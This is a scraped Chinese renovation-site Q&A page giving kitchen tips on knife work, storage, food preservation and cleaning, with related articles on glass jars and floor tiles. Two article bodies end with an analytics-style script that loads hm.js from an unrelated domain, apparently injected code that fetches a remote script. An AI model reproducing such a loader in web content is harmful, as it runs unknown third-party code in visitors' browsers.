10 去估算

喻和煦

厨房里的小窍门谁能给我介绍下?

3 回答

10秒估算装修报价

40-70m²
70-110m²
110-150m²
150m²以上
《服务条款》  《隐私政策》

立即计算报价

获取装修底价

稍后将有装修顾问来电为您解读报价

共有3条回答

Selly520 有用 1

厨房刀功小窍门切制菜肴方法:
第一,切制原料粗细薄厚均匀,长短相等一致。否则原料生熟不一致。
第二,凡经过刀工处理的原料,不论丝、条、丁、块、片、段,必须不连刀。
第三,根据原料质地老嫩,纹路横竖,按不同烹调要求,采用不同的切法,如肉类原料,筋少、细嫩、易碎的肉,应顺纹路切,筋多、质老的要顶纹路切,质地一般的要斜路切。
第四,注意主辅料形状的配合和原料的合理利用。一般是辅料服从主料,即:丝对丝,片对片,辅料的形状略小于主料。用料时要周密计划,量材使用,尽可能做到大材大用,小材小用,细料细目,粗料巧用。
希望我的回答能够帮到你。

展开全部回答

奋斗_9500 有用 1

第一个收纳技巧就是:隔板收纳,
装饰搭配建议:在在洗手台上面放置两块隔板,底层放置矮小的碗碟,上面摆放瘦小的瓶罐,这样,就像清单一样明明白白的展现在眼前,烹饪时也不用到处跑了。
装饰搭配建议:在墙面夹角处放置高低落差的隔板,白色的专门放置书籍,木色的就收纳碗碟,这样的搭配更好梳理。
装饰搭配建议:竖向发展的搁板架在黑瓷砖映衬下显得格外清晰明了,结合挂钩配置,再小的零件也能收纳起来。
第二个收纳技巧:篮筐收纳
装饰搭配建议:当厨房里都是不锈钢类型的收纳工具,或许会显得阴冷,适当加入藤编材质的容器,可以融合空间色调,让厨房温暖起来。
装饰搭配建议:利用柜子下面的隔板放置竹篮,镂空的把手处理让抽拉之间方便起来。
装饰搭配建议:隐藏式篮筐可以收纳大件的锅具,水壶,这样,再大的厨具也不怕没地方放了。
装饰搭配建议:当厨房顶柜没有装置到顶面时,可以搭配几个竹编篮子,这样一来,即可打破厨房整排橱柜生硬的一面,又可以收纳一些不常用的物件。

咱庸人自扰 有用 1

第一个:冻肉的窍门
平时谁家也不可能买几两肉吧,一般都是一斤以上,可一顿也不可能都吃了吧,直接放冰箱下次吃的时候还得全化,这个窍门解决了这一麻烦:

1、将买回来的肉洗净,滤滤水分;

2、将滤好水分的肉切成自家一顿用肉的量;

3、取和肉大小合适的保险膜将肉包好,放入冰箱冰冻室即可。
适合各种肉类,而且这样放进冰箱不占地方,方便摆放、拿取。
第二个:分鸡蛋的窍门
前两天听朋友说她们同事买了个分蛋器做蛋糕,我还说买这个干什么呀?自己用蛋壳就分了呀,人家说这是个技术活,完不成,我说那就告诉你个没技术含量的吧!

1、准备好一个盘子、干净的空饮料瓶、鸡蛋;

2、将鸡蛋打入盘子中,用手按住瓶子,对准鸡蛋黄,手一松,鸡蛋黄就进入瓶子内了;

3、看蛋清的样子;

4、倒出来的蛋黄,一点都没变形哦,如果暂时不用蛋黄,可以盖上饮料瓶的盖子,直接放进冰箱保存。
第三个:保存柚子的窍门
现在正是吃柚子的好时期,而且冬天在北方吃现在正是败火的最佳水果,可通常都不会一次吃完吧?而且像我们只有两人在家,那么大个柚子得吃好几天,可是如果就这样放着那就干了,而且现在有暖气,干了以后会影响柚子的口感,这个窍门就解决了这一难题,放好几天照样和刚打时的一样哦!

1、取一柚子将外面的包装剥开;

2、用水果刀在柚子中间划一2厘米左右深的口子;

3、将柚子的帽子盖用手取出;

4、再将柚子皮的下部分取出就可以吃了;

5、没吃完的柚子放入剥好的柚子皮中;

6、将柚子皮的帽子盖好就可以了。
取皮的时候一定完整哦!
第四个:韭菜不出汤的窍门
韭菜炒着吃很鲜,做海鲜的时候少不了它,做馅也很好吃,尤其和鸡蛋一起做。但是很容易出汤,这样会大大降低成品的成功率,有了这个窍门就可以解决这个麻烦了哈。

1、将韭菜摘好洗净晾干水分,切成细沫淋入香油拌匀备用;

2、鸡蛋打入碗中,顺着一个方向搅拌均匀;

3、锅内油烧热,倒入搅拌好的鸡蛋淋入锅内,用筷子搅拌,看到鸡蛋凝固后关火即可;

4、待鸡蛋自然凉后,倒入拌好的韭菜中,加入盐、鸡精、香油顺着一个方向搅拌均匀即可。
第五个:剥橙皮的窍门
用一个钢勺把橙子蒂部挖掉,挖一个比勺子略大的圆,然后把勺子贴着橙子皮插进去(勺子的弧度贴合橙子皮的弧度),一点一点撬开表皮即可。
第六个:清洗不锈钢餐具的窍门
现在厨房中很多餐具或海菜盆及锅具都是不锈钢的,很漂亮,可一旦沾上点污渍当时不清洗干净时间长了就很难清洗干净,尤其是不锈钢的锅,用了这个方法绝对让它鲜亮,而且不伤表面光洁度。
窍门:把做菜时切下不用的胡萝卜头在火上烤一烤之后用来擦拭不锈钢制品。
第七个:炸馒头片省油的窍门
炸馒头片很好吃,但是很爱吸油,很是油腻,还太浪费,用了小窍门更加省油又健康,外观口感更好方法。
窍门:先将馒头片在一碗水里略微浸泡之后再放进油锅里炸。
第八个:巧存豆腐
买来的豆腐,很容易变质,放在冰箱里最多只能存上两三天,而且容易发粘。
窍门:把豆腐放在盐水中煮开,放凉后之后连水一起放在保鲜盒里再放进冰箱,则至少可以存放一个星期不变质。
第九个:存放生姜的窍门
生姜不是很好保存,一般做法是把它埋在沙土里。今天介绍个更方便的方法,就是把生姜切成稍粗的丝,用保鲜膜包起来,放进冰箱的冷冻室。记住,是冷冻室哦!以后随用随取即可。
这个方法同样试用于葱。我们可以把葱花切好,分成等分,同样放进冷冻室,每次炒菜用一包。这样保存葱姜不会烂掉蔫掉,不会影响风味,还节省了每次炒菜切葱花姜丝的时间,何乐而不为呢?
第十个:洗葡萄的窍门
葡萄好吃可上面的白霜不好清除,没有窍门可洗不干净哦。
窍门:准备一个盆子,往里面倒入少量淀粉。再倒入清水,只要能够漫过葡萄就行。再把葡萄放入水中来回涮涮,然后用清水冲洗干净。这样洗的葡萄不掉珠子,又洗的干净。
第十一个:韭菜保鲜的窍门
用两片白菜或生菜叶把韭菜包起来放到阴凉处就行了,原理是韭菜水分蒸发快,大白菜水分多蒸发慢。用白菜叶把韭菜包起来的话韭菜的水分也不容易蒸发,而且还能吸收白菜叶的水分。同样的方法,用来保存香菜也可以。
第十二个:存放咸肉的窍门
咸肉放时间长了会有一股辛辣味,在煮咸肉时放一个白萝卜,然后再烹调,辛辣味即可除去。若咸肉仅表面有异味,用水加少量醋清洗即可。
第十三个:塑料盆清洁的窍门
把喝剩下的茶叶用纱布包起来,蘸取适量的食用油擦拭,之后再用少许洗洁剂清洗即可。相比传统用菜瓜布等用力擦洗的办法,此法避免了划伤塑料制品表面,而塑料制品表面划伤后会凹凸不平,则更加容易堆积污垢。
第十四个:泡八宝米的窍门
把各色难煮的豆子和米放进普通的保温瓶内,加入开水,放置十几个小时,即可倒出用普通锅或者高压锅煮粥。非常方便,大大缩短了煮粥时间,煮出的粥粘粘糯糯,好吃极了!!、
第十五个:煎饺子不糊的窍门
在平底锅内加少量油,稍热后放入一个小钢蒸屉,把饺子放在上面煎,均匀不糊。
第十六个:用微波炉加热不烫手的窍门
在用微波炉加热剩菜的时候,为了防止水分的流失,我们要在盘子上罩上一层保鲜膜,加热完毕,盘子会很烫,我们往往会用微波专用手套去取。但是菜汤常常会弄脏手套,垫着抹布来拿吧,又不卫生,其实很简单:在包保鲜膜的时候,留两个边不要包,取出的时候用手端这两个边就不会烫手。

土巴兔装修客服

土巴兔官方客服,欢迎随时咨询

 立即咨询

亲,近期在了解装修吗?您是否想改变一下家里的布置,风格,收纳等现象?只需要一个报名申请您就能获得免费设计,赶紧咨询我吧!

相关问题 更多
最新回答
相关文章 更多
专题 厨房小窍门—关于厨房玻璃瓶的小技巧

厨房小窍门—关于厨房玻璃瓶的小技巧

玻璃瓶作为厨房收纳的重要产品,既可以防止调味料的腐蚀,又可以保持厨房的干净整洁,让美味变得有条不紊。那么如何让厨房玻璃瓶物尽其用,更合理地收纳和打理清洗呢?下面就有几个关于厨房玻璃瓶的小技巧。1、厨房玻璃瓶的分类不同形状的厨房玻璃瓶在储物功效上也有所不同,按形状分厨房玻璃瓶主要分为圆形玻璃瓶、方形玻璃瓶、锥形玻璃瓶、圆柱形玻璃瓶。圆形玻璃瓶一般用来放盐、味精等调味料,小巧便捷方型的密闭容器易堆放。方形的玻璃瓶更适合放一些小米等量大的食物,并且方型的密闭容器易堆放,空间利用率比圆柱体的高多了,适合各种深柜、高柜,不够的地方用吊柜下挂篮来补充正好。而锥形的厨房玻璃瓶并不常见,一般是拿来盛放食用油的。这种厨房玻璃瓶透明轻便,更容易把握每次使用的计量,不会过量,而且瓶口密封的设计与玻璃材质,不必担心食用油洒出或因密封不好而造成的变质,同时玻璃油瓶也比塑料油壶对人体更加健康,顺带一提,厨房玻璃瓶因为透明与精巧感,拿来储存生抽果醋,也十分不错。圆柱形的玻璃瓶在生活中十分常见,透明雕纹的玻璃瓶身里面一般储放果酱、糖果等食物。由于钢化玻璃材质,耐冲击也能阻止细菌滋生,避免异味。2、厨房玻璃瓶的清洗玻璃瓶在厨房放置久了难免会沾染油污或者异味,但是油污和异味却又不是那么好清洗的,下面就有几点清洗厨房玻璃瓶的小妙招。先往瓶里放一些碎蛋壳(一定要尽可能地碎一些),然后滴入几滴洗洁精,再倒入一些热水,反复摇晃后,用清水冲洗,油垢就会被清洗干净。也可以把小苏打水或食用碱水倒入油瓶内晃动一会儿,后用热水冲洗干净。在玻璃瓶中倒入一勺芥末酱或挤2~3cm芥末,然后加入热水,盖上瓶盖,使劲的摇晃里边的溶液。然后将里面的水倒掉,冲洗一下罐子,异味就消失不见了。厨房作为一个家庭利用率较高的核心,在有限的空间内设计出合理的收纳实属重中之重,所以合理使用厨房玻璃瓶又是合理收纳的关键。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

史上最全的厨房清洁小窍门

史上最全的厨房清洁小窍门

家居中总是避免不了会有灰灰尘尘附着在家具上,特别是厨房,是灰尘和油腻的重灾区。那么在厨房清洁时有哪些小妙招呢?下面,小编就教大家几招家居清洁小妙招,让你成为一个精明的巧妇。1.厨房窗纱的清洁清洗厨房油腻的窗纱,可用加热后的稀面糊反复几次刷在窗纱两面,10多分钟后,再用水刷掉面糊,窗纱上的油腻便可刷洗干净;也可用不起毛的布沾碱水反复刷洗,油垢刷净后,再用清水刷洗一遍。这两种方法,如一次清洗不净,可按原法重复一次,直到清洁为止。2.冰箱清洁为使冰箱表面看起来更加亮,可以使用家具护理喷蜡,而门边较难处理的细缝处,可以用牙刷清洁,冰箱内部,则可以用稀释的漂白水擦拭,既乾净又可达到杀菌的功效。3.厨房木器、碗柜的清洁厨房里的木器上积满油垢时,可用漂白粉加水涂刷在油污表面,第二天用清水冲干净即可。也可在水中加些食醋擦试木器家具,后者适于油污较少的木器。4.厨房地面的清洁厨房水泥地面有油污后,往墩布上倒一点醋,就能将地面拖拭洁净。5.清洁球变身洗锅用的细钢丝清洁球,用得很脏后,不要扔掉,把它放到火上烧,污垢会变成碎渣掉下来,又是一个新的清洁球了。6.水池清洁橱柜的水池既要洗菜还要洗碗,容易沾染洗碗水中的油垢,如果没有专门的水池清洁剂,在有油污的地方撒一点盐,然后用废旧的保鲜膜上下擦拭,擦拭后用温水冲洗几遍,也能让水池光亮如新。水池的四周弯角和下水处可以准备专门的小刷子或者牙刷用细盐、肥皂水、清洁剂擦拭,下水处的水盖也最好用温肥皂水浸泡20-30分钟,达到理想的去污效果。7.抽油烟机的清洁抽油烟机是厨房中最难清洁的灶具,先将油盒里的油污倒掉,然后将油盒浸泡在肥皂水或者中性清洁剂兑成的温水中20分钟左右,如果油污顽固,可浸泡40分钟。油网如果有少量油污可以直接用温水浸泡后洗净、擦干,如果油污较为严重,可以与油盒一起浸泡。8.煤气灶的清洁煤气灶表面的油垢,可用煮面条后剩下的热汤涂在其表面,过一会儿用布擦试,再用水冲净。煤气灶一般在做完饭后清洗,趁煤气灶还有余温时用湿布加肥皂水或苏打水擦拭,如果待煤气灶完全冷却后再擦拭,油污、煮粥溅出的米汤等就很难擦净。把百洁布在啤酒中浸泡一会,然后擦拭有顽渍的灶台灶具,即可光亮如新。此外使用剩下的萝卜或青瓜碎屑,蘸清洁剂刷洗之后,再用清水冲洗一遍,除污效果也很好。9.排气扇的清洁清洗拆卸排气扇之前,先洗手后打上肥皂,指甲缝里要多留些,然后擦去手上的水。拆卸排气扇,取一些细锯末备用,用棉纱裹些细锯末或直接用手抓锯末擦拭,直到把排气扇各部件的油垢擦净。油垢清除后,用清水冲洗各部件上的残留的锯末、棉纱,再擦干组装,排气扇就洁净如初了。10.碗盆器皿的清洁长期使用的玻璃器皿,例如油瓶等如果没有很多污垢,可用茶叶渣洗擦。擦洗有印花图案的玻璃器皿可以用薄绵纸,避免用洗洁精清洗,以免腐蚀器皿的印花图案。如果油垢较厚并有异味,可以将鸡蛋壳捣碎后放入瓶中,加少量温水盖紧瓶盖,上下摇晃约1分钟左右,然后到出蛋壳残渣,用清水冲洗干净。铝制锅盆有积垢时,可用乌贼鱼骨轻擦,即可光洁如新。搪瓷器皿的陈年积垢,可用刷子蘸少许牙膏擦试,效果很好。11.锅盖清洁家里的锅盖用久了就会有一层厚厚的油垢,用去污剂擦费时又费力。有一种简捷又有效的方法:锅内放少许水,将锅盖反盖在锅上,水烧开(可放一点洗洁精),让蒸汽熏蒸锅盖。待油垢变得发白柔软时,再用软布轻轻擦拭,锅盖就光亮如新了。12.砧板、菜刀的清洁砧板使用后容易产生异味,家用的食醋可以有效清洁异味砧板,将两匙醋与200毫升温水混合,然后倒在已经铺好纸巾的切菜板上放置15分钟,砧板上的污垢则会容易清除,异味也会消失,还有一定的杀菌作用。菜刀生锈,可用土豆片或萝卜片沾少许细沙擦洗,锈即可去掉。13.水龙头清洁水龙头上有难以清除的水渍怎么办?将一片新鲜的柠檬在水龙头上转圈,擦拭几次便能清除。用一只水份充足的橙子皮,也能起到强效去污的作用,用橙子皮带颜色的一面搓水龙头的顽渍,就能轻松除去。电镀水龙头日久会变黑而失去光泽,用肥皂、洗涤剂擦拭皆不理想,最好的办法是用少许面粉放在一块干布上,反复擦试水龙头,然后再用湿布擦,最后用干布再擦,水龙头即可光亮如新。14.微波炉清洁微波炉内部表面、炉门的前后及炉门开口处,可使用软布、温水及温和的清洁剂清洗,切勿使用金属刷和腐蚀性清洗剂。对炉内壁的清洗,可使用卫生棉球,蘸医用酒精或高度白酒擦洗,因为酒精挥发快,且有杀菌的作用。需要注意的是右边云母片应细心擦干净,因为这是微波炉的加热口。应该取下转盘、转盘支架进行单独清洗,也可使用酒精或白酒进行擦拭,配合湿布反复擦洗。若玻璃转盘和轴环是热的,要等到冷却后再进行处理。如果微波炉上的污垢积淀太多,可以用微波炉专用容器装好水,加热几分钟,先让蒸发的水份湿润一下炉内的污渍,然后用湿纸擦掉,再用洗涤剂把油污或酒精完全洗净。如若是电脑控制型的微波炉,应该避免用湿抹布擦拭薄膜开关。清除异味可以在一杯水中加入一两滴醋,放在转盘加热一两分钟,即可去除微波炉中的异味。且在日常使用中加热面包、馒头等水分比较少的食物时,应在旁边放半碗水,对于食物新鲜和微波炉的使用都有好处,另外酸碱性过强的食物也应尽量避免加热。15.不锈钢灯罩上的手印不锈钢灯罩上的手印清洁不锈钢器具总会留下手印,手印用布是不易擦去的。一个简单的方法即可把不锈钢擦得不留任何痕迹。准备一些小苏打,用一块干布蘸一些小苏打,轻轻在不锈钢上擦,尤其对于手印会擦得非常干净,并且能擦出不锈钢最初细致均匀的光泽来。16.地毯上的番茄酱地毯上的番茄酱先用纸巾吸去过多的番茄酱,将清洁剂喷洒在污渍上,用干净布轻轻拍打并擦拭。擦时一定要从外圈往里擦,以防污渍的面积越来越大,再用温水喷洒在污渍上,用干净布擦,重复以上步骤,直至污渍消失。最后清洁剂一定要擦拭干净,否则地毯上残留的清洁剂会吸附更多灰尘。17.冰箱外壳污垢用牙膏擦试冰箱外壳冰箱外壳的一般污垢,可用软布蘸少许牙膏慢慢擦试,如果污迹较顽固,可多挤一遍牙膏再用布反复擦试,冰箱即会恢复光洁。因为牙膏中含有研摩剂,去污力非常强。18.巧洁照明用具电灯开关上留下的手印痕迹,可用橡皮去擦,即能干净如新。插座上沾染了污垢灰尘,拔下电源后,最好使用软布蘸少许去污粉擦试。清洁带有皱纹的布制灯罩时,可用一种毛头较软的牙刷做工具,不易损伤灯罩。清洁用丙烯制的灯罩,可抹上洗涤剂,再用水洗去洗涤剂的成分,然后擦干。普通灯泡,可用盐水擦试。19.厨房藤器灰尘藤器的灰尘,可用毛头软的刷子自网眼里由内向外拂去灰尘。如果污迹太重,可用洗涤剂抹去,最后再干擦一遍。若是白色的藤器,最后还须抹上一点醋,使之与洗涤剂中和,以防变色。用刷子蘸上小苏打水轻刷洗藤器,也可以除掉顽垢。

辨别东鹏厨房地砖真假的一些小窍门

辨别东鹏厨房地砖真假的一些小窍门

东鹏厨房地砖尺寸形状和尺寸有很大的差异。釉面砖、地砖尺寸有一定的允许偏差要求。这是为了确保接缝的清洁度和装饰表面的规则性。为了保证墙面的装饰笔直,避免高低不平,釉面砖也必须满足垂直和光滑的要求。对于各种有一定形状的卫浴,其形状的变形需要满足一定的要求。假冒伪劣装饰陶瓷的形状尺寸偏差较大,不符合质量要求的话,会直接影响装饰效果和使用要求。质量方面 东鹏厨房地砖表面的质量分类,各种外部瑕疵都会对装饰效果产生负面影响,但程度不同。假冒伪劣装饰材料的缺陷超标,严重影响装饰效果。在这用户首先观察装饰陶瓷的外观质量,判断其优缺点。检验工厂名称、工厂地址、产品名称、售后服务电话、规格、数量、商标、生产日期和执行标准。对于瓷砖,对于内部设计和装饰瓷砖,应选择符合A级要求的放射性核素。还要再看一下的东鹏厨房地砖外表。东鹏厨房地砖的釉面应光滑细腻。有光泽的釉料应晶莹剔透,无光泽的釉料应柔软舒适。当东鹏厨房地砖暴露在足够的自然灯下时,砖放置在1.5米的距离处,垂直观察之后没有过大缺陷。还有就是优质陶瓷产品背面的背景和商标是非常清晰完整的,不会出现消失。拼接时的尺寸东鹏厨房地砖拼接效果好的瓷砖尺寸偏差小。将一批产品垂直放置在平面上,看是否有不均匀性。为了看它有多平,我们可以把两块砖的边缘连接起来,看看是否有裂缝。好的产品在铺设后变形小,砖面光滑美观。再有就是看产品的色差,取几块砖放在一起,在足够的光线下仔细检查,产品色调不同,整体效果就会不一样。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

打开APP后继续操作

立即打开